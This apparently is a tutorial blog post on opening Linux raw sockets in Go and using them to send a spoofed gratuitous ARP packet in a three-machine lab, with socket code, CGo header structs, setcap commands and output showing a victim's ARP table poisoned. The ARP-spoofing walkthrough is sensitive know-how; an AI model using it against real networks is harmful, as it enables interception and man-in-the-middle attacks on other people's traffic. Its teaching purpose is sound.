Linux offers the capability of raw sockets which allows you to directly create an raw L3/L2 packet bypassing the protocol headers normally generated by OS socket. This means you can generate your own link layer or IP layer packets directly from scratch, a very useful capability for inspecting traffic on your network, or for crafting packets from scratch

Raw sockets can be used on Linux using the socket() syscall by using the SOCK_RAW socket type (this requires the process to have the CAP_NET_RAW capability, or be run as root). Go doesn’t directly support raw sockets through the net package, however, syscalls are available through the syscall package

Let’s whip up a quick program to open a raw socket

package main;

import (
"fmt"
"syscall"
)


func main() {
  // Socket is defined as:
  // func Socket(domain, typ, proto int) (fd int, err error)
  // Domain specifies the protocol family to be used - this should be AF_PACKET
  // to indicate we want the low level packet interface
  // Type specifies the semantics of the socket
  // Protocol specifies the protocol to use - kept here as ETH_P_ALL to
  // indicate all protocols over Ethernet
  fd, err:= syscall.Socket(syscall.AF_PACKET, syscall.SOCK_RAW,
  				syscall.ETH_P_ALL)
  if (err != nil) {
    fmt.Println("Error: " + err.Error())
    return;
  }
  fmt.Println("Obtained fd ", fd)
  defer syscall.Close(fd)

  // Do something with fd here
  
}

Not surprisingly, the program fails with an access error

~/etc/gocode/raw$ go build raw.go 
~/etc/gocode/raw$ ./raw
Error: operation not permitted

There are two options here: run the program as root1, or to grant the capability to the executable using setcap:

~/etc/gocode/raw$ sudo setcap cap_net_raw=ep raw
~/etc/gocode/raw$ getcap raw
raw = cap_net_raw+ep
~/etc/gocode/raw$ ./raw
Obtained fd  3

Using Raw Sockets for Gratuitous ARP requests

The Address Resolution Protocol (ARP) is a request/response protocol used for determining the mapping between IP addresses and link layer (MAC) addresses. Devices use ARP to obtain the MAC address of a device for which they have the IP address, and vice versa

For instance, consider the following exchange: To find the MAC address of 10.10.10.1, 10.10.10.2 broadcasts an ARP request to all devices. 10.10.10.1, located at 0a:00:27:00:00:01 responds back with it’s MAC address:

ARP request/response

When 10.10.10.2 receives the response, it stores the IP address and it’s associated MAC address for future reference in the ARP table. You can view the contents of the ARP table by examining the contents of /proc/net/arp

~/etc/gocode/raw$ cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
10.10.10.1         0x1         0x2         0a:00:27:00:00:01     *        eth0

ARP is generally used in a request/response manner, with one device requesting for information about a particular IP/MAC. However, there is a class of ARP requests/responses for which a response is not expected: the gratuitous ARP request2. Gratuitous ARP requests have many uses, of which particularly interesting is the usecase to announce changes in hardware config: in this case, a device sends a broadcast request packet (or response packet) specifying it’s new IP and MAC address - any devices receiving these requests are expected to update thier ARP table with the updated MAC address. This opens up an interesting avenue of attack known as ARP Spoofing: a locally connected device can easily spoof such a request for another machine with it’s own MAC address, and thus receive all traffic meant for that machine.

Linux by default ignores all gratuitous requests for devices not present in the ARP table3, however, it accepts requests for IPs already present in the table, potentially allowing us to redirect traffic meant for a particular IP to any device of out choice

Let’s write a program in Go to utilize raw sockets to send an ARP update to a device connected over Ethernet

Setup

Let’s consider a setup of 3 devices connected in a local LAN: Machine A, located at 10.10.10.1 (the attacker), 10.10.10.2 (the victim) and 10.10.10.3, the original machine to which data is meant to be sent

  IP Address MAC Address  
Machine A 10.10.10.10 0a:00:27:00:00:01 Attacker
Machine B 10.10.10.2 08:00:27:e3:ef:0d Victim
Machine C 10.10.10.3 08:00:27:88:09:4b  

Initially, Machine B can access both A and C, as seen from the ARP table:

10.10.10.2@debian:~$ ping 10.10.10.3 -c 3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_req=1 ttl=64 time=0.786 ms
64 bytes from 10.10.10.3: icmp_req=2 ttl=64 time=2.39 ms
64 bytes from 10.10.10.3: icmp_req=3 ttl=64 time=0.922 ms

--- 10.10.10.3 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 0.786/1.367/2.394/0.728 ms
10.10.10.2@debian:~$ cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
10.10.10.3       0x1         0x2         08:00:27:88:09:4b     *        eth0
10.10.10.1       0x1         0x2         0a:00:27:00:00:01     *        eth0

Crafting the packet

In a raw socket, the packet which we provide will be directly passed as is to the device driver. Hence, we need to wrap our ARP packet in the lower layer protocol frame (here Ethernet) as well

RFC 826 gives us the structure of the packet:

Arp Packet

This can easily be represented in a struct in CGo 4:

typedef struct __attribute__((packed))
{
	char dest[6];
	char sender[6];
	uint16_t protocolType;
} EthernetHeader;

typedef struct __attribute__((packed))
{
	uint16_t hwType;
	uint16_t protoType;
	char hwLen;
	char protocolLen;
	uint16_t oper;
	char SHA[6];
	char SPA[4];
	char THA[6];
	char TPA[4];
} ArpPacket;

typedef struct __attribute__((packed))
{
	EthernetHeader eth;
	ArpPacket arp;
} EthernetArpPacket;

We can fill in all fields of the packet (note that this must be done from CGo, as recommended by the Go wiki 5):

Final Arp packet

Sending the payload

Open the raw socket:

fd, err := syscall.Socket(syscall.AF_PACKET, syscall.SOCK_RAW, syscall.ETH_P_ALL)
if err != nil {
    fmt.Println("Error: " + err.Error())
	return
}
fmt.Println("Obtained fd ", fd)
defer syscall.Close(fd)

Allocate and prepare the packet, and use the Sendto syscall to send it to Machine B

packet := C.GoBytes(unsafe.Pointer(C.FillRequestPacketFields(iface_cstr, ip_cstr)),
					C.int(size))

var addr syscall.SockaddrLinklayer
addr.Protocol = syscall.ETH_P_ARP
addr.Ifindex = interf.Index
addr.Hatype = syscall.ARPHRD_ETHER

// Send the packet
err = syscall.Sendto(fd, packet, 0, &addr)

After sending the packet, let’s look at Machine B’s ARP table:

10.10.10.2@debian:~$ cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
10.10.10.3       0x1         0x2         0a:00:27:00:00:01     *        eth0
10.10.10.1       0x1         0x2         0a:00:27:00:00:01     *        eth0
10.10.10.2@debian:~$ ping 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
From 10.10.10.1: icmp_seq=2 Redirect Host(New nexthop: 10.10.10.3)
From 10.10.10.1: icmp_seq=3 Redirect Host(New nexthop: 10.10.10.3)
From 10.10.10.1: icmp_seq=4 Redirect Host(New nexthop: 10.10.10.3)
From 10.10.10.1: icmp_seq=5 Redirect Host(New nexthop: 10.10.10.3)
From 10.10.10.1: icmp_seq=6 Redirect Host(New nexthop: 10.10.10.3)
From 10.10.10.1: icmp_seq=8 Redirect Host(New nexthop: 10.10.10.3)
64 bytes from 10.10.10.3: icmp_req=9 ttl=64 time=0.147 ms
64 bytes from 10.10.10.3: icmp_req=10 ttl=64 time=3.94 ms

Success! We can see that we have successfully bamboozled Machine B to believe that Machine A has changed it’s location - we can see that Machine A (10.10.10.1) is actually receiving packets meant for Machine C (10.10.10.3):

spoofWiresh

In this case, we don’t handle the packets received at Machine A originally meant for Machine C, hence it keeps on responding with a ICMP redirect till Machine B finally resends an ARP request for Machine C. However, it would be quite trivial to respond to the packets, or even perform some kind of man-in-the-middle attack

The entire program is shared here


Footnotes
  1. This is somewhat similar to using a nuclear missile to kill a fly: perfectly achieves the objective but may have possible non-trivial side effects

  2. RFC 5944

  3. This behavior can be bypassed by changing /proc/sys/net/ipv4/conf/all/arp_accept to 1 (see https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt)

  4. This needs to be done in CGo, as Go doesn’t natively support packed structs

  5. https://github.com/golang/go/wiki/cgo#struct-alignment-issues